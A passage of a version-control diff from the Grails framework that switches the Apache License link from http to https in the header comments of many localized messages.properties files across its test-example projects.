+++ b/grails-test-examples/mongodb/base/grails-app/i18n/messages_pt_BR.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/base/grails-app/i18n/messages_pt_PT.properties b/grails-test-examples/mongodb/base/grails-app/i18n/messages_pt_PT.properties
index d432eb5f6e..27aa38dd2b 100644
--- a/grails-test-examples/mongodb/base/grails-app/i18n/messages_pt_PT.properties
+++ b/grails-test-examples/mongodb/base/grails-app/i18n/messages_pt_PT.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/base/grails-app/i18n/messages_ru.properties b/grails-test-examples/mongodb/base/grails-app/i18n/messages_ru.properties
index 2c7e7cdde7..c5e1d93446 100644
--- a/grails-test-examples/mongodb/base/grails-app/i18n/messages_ru.properties
+++ b/grails-test-examples/mongodb/base/grails-app/i18n/messages_ru.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/base/grails-app/i18n/messages_sv.properties b/grails-test-examples/mongodb/base/grails-app/i18n/messages_sv.properties
index 694ac13f23..49079027e5 100644
--- a/grails-test-examples/mongodb/base/grails-app/i18n/messages_sv.properties
+++ b/grails-test-examples/mongodb/base/grails-app/i18n/messages_sv.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/base/grails-app/i18n/messages_th.properties b/grails-test-examples/mongodb/base/grails-app/i18n/messages_th.properties
index 1219a71e4b..9d2ba5ea9d 100644
--- a/grails-test-examples/mongodb/base/grails-app/i18n/messages_th.properties
+++ b/grails-test-examples/mongodb/base/grails-app/i18n/messages_th.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/base/grails-app/i18n/messages_zh_CN.properties b/grails-test-examples/mongodb/base/grails-app/i18n/messages_zh_CN.properties
index 61a0705aef..181f0a372e 100644
--- a/grails-test-examples/mongodb/base/grails-app/i18n/messages_zh_CN.properties
+++ b/grails-test-examples/mongodb/base/grails-app/i18n/messages_zh_CN.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages.properties b/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages.properties
index 09d392c881..d71a1fc5cb 100644
--- a/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages.properties
+++ b/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_cs_CZ.properties b/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_cs_CZ.properties
index dc71c205fe..24799b956a 100644
--- a/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_cs_CZ.properties
+++ b/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_cs_CZ.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_da.properties b/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_da.properties
index c3ac9b1929..8effe79084 100644
--- a/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_da.properties
+++ b/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_da.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_de.properties b/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_de.properties
index 18cd4a68b2..fccc6d561e 100644
--- a/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_de.properties
+++ b/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_de.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_es.properties b/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_es.properties
index f8d257c24a..c76df87761 100644
--- a/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_es.properties
+++ b/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_es.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_fr.properties b/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_fr.properties
index 93d4bc05f7..686f872243 100644
--- a/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_fr.properties
+++ b/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_fr.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_it.properties b/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_it.properties
index 22353b0336..3bb0abe403 100644
--- a/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_it.properties
+++ b/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_it.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_ja.properties b/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_ja.properties
index ba1daf0d6a..bcd6bb99bf 100644
--- a/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_ja.properties
+++ b/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_ja.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_nb.properties b/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_nb.properties
index b2bcb4cfa5..8485b66145 100644
--- a/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_nb.properties
+++ b/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_nb.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_nl.properties b/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_nl.properties
index eb5245ccf5..57360d5c39 100644
--- a/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_nl.properties
+++ b/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_nl.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_pl.properties b/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_pl.properties
index efb954c5ff..199f7d26e0 100644
--- a/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_pl.properties
+++ b/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_pl.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_pt_BR.properties b/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_pt_BR.properties
index 2244a40539..474cf326f9 100644
--- a/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_pt_BR.properties
+++ b/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_pt_BR.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_pt_PT.properties b/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_pt_PT.properties
index d432eb5f6e..27aa38dd2b 100644
--- a/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_pt_PT.properties
+++ b/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_pt_PT.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_ru.properties b/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_ru.properties
index 2c7e7cdde7..c5e1d93446 100644
--- a/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_ru.properties
+++ b/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_ru.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_sv.properties b/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_sv.properties
index 694ac13f23..49079027e5 100644
--- a/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_sv.properties
+++ b/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_sv.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_th.properties b/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_th.properties
index 1219a71e4b..9d2ba5ea9d 100644
--- a/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_th.properties
+++ b/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_th.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_zh_CN.properties b/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_zh_CN.properties
index 61a0705aef..181f0a372e 100644
--- a/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_zh_CN.properties
+++ b/grails-test-examples/mongodb/database-per-tenant/grails-app/i18n/messages_zh_CN.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages.properties b/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages.properties
index 09d392c881..d71a1fc5cb 100644
--- a/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages.properties
+++ b/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_cs_CZ.properties b/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_cs_CZ.properties
index dc71c205fe..24799b956a 100644
--- a/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_cs_CZ.properties
+++ b/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_cs_CZ.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_da.properties b/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_da.properties
index c3ac9b1929..8effe79084 100644
--- a/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_da.properties
+++ b/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_da.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_de.properties b/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_de.properties
index 18cd4a68b2..fccc6d561e 100644
--- a/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_de.properties
+++ b/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_de.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_es.properties b/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_es.properties
index f8d257c24a..c76df87761 100644
--- a/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_es.properties
+++ b/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_es.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_fr.properties b/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_fr.properties
index 93d4bc05f7..686f872243 100644
--- a/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_fr.properties
+++ b/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_fr.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_it.properties b/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_it.properties
index 22353b0336..3bb0abe403 100644
--- a/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_it.properties
+++ b/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_it.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_ja.properties b/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_ja.properties
index ba1daf0d6a..bcd6bb99bf 100644
--- a/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_ja.properties
+++ b/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_ja.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_nb.properties b/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_nb.properties
index b2bcb4cfa5..8485b66145 100644
--- a/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_nb.properties
+++ b/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_nb.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_nl.properties b/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_nl.properties
index eb5245ccf5..57360d5c39 100644
--- a/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_nl.properties
+++ b/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_nl.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_pl.properties b/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_pl.properties
index efb954c5ff..199f7d26e0 100644
--- a/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_pl.properties
+++ b/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_pl.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_pt_BR.properties b/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_pt_BR.properties
index 2244a40539..474cf326f9 100644
--- a/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_pt_BR.properties
+++ b/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_pt_BR.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_pt_PT.properties b/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_pt_PT.properties
index d432eb5f6e..27aa38dd2b 100644
--- a/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_pt_PT.properties
+++ b/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_pt_PT.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_ru.properties b/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_ru.properties
index 2c7e7cdde7..c5e1d93446 100644
--- a/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_ru.properties
+++ b/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_ru.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_sv.properties b/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_sv.properties
index 694ac13f23..49079027e5 100644
--- a/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_sv.properties
+++ b/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_sv.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_th.properties b/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_th.properties
index 1219a71e4b..9d2ba5ea9d 100644
--- a/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_th.properties
+++ b/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_th.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_zh_CN.properties b/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_zh_CN.properties
index 61a0705aef..181f0a372e 100644
--- a/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_zh_CN.properties
+++ b/grails-test-examples/mongodb/hibernate5/grails-app/i18n/messages_zh_CN.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/test-data-service/grails-app/i18n/messages.properties b/grails-test-examples/mongodb/test-data-service/grails-app/i18n/messages.properties
index 6d72d209d5..a1ac5a2fd7 100644
--- a/grails-test-examples/mongodb/test-data-service/grails-app/i18n/messages.properties
+++ b/grails-test-examples/mongodb/test-data-service/grails-app/i18n/messages.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/plugins/loadfirst/grails-app/i18n/messages.properties b/grails-test-examples/plugins/loadfirst/grails-app/i18n/messages.properties
index 67955e9860..9e573b77fa 100644
--- a/grails-test-examples/plugins/loadfirst/grails-app/i18n/messages.properties
+++ b/grails-test-examples/plugins/loadfirst/grails-app/i18n/messages.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/plugins/loadfirst/grails-app/i18n/messages_en_US.properties b/grails-test-examples/plugins/loadfirst/grails-app/i18n/messages_en_US.properties
index 2e8b823aaf..d986516598 100644
--- a/grails-test-examples/plugins/loadfirst/grails-app/i18n/messages_en_US.properties
+++ b/grails-test-examples/plugins/loadfirst/grails-app/i18n/messages_en_US.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-web-common/src/main/groovy/org/grails/web/json/parser/StringUnmarshaller.java b/grails-web-common/src/main/groovy/org/grails/web/json/parser/StringUnmarshaller.java
index f37489313b..587660c250 100644
--- a/grails-web-common/src/main/groovy/org/grails/web/json/parser/StringUnmarshaller.java
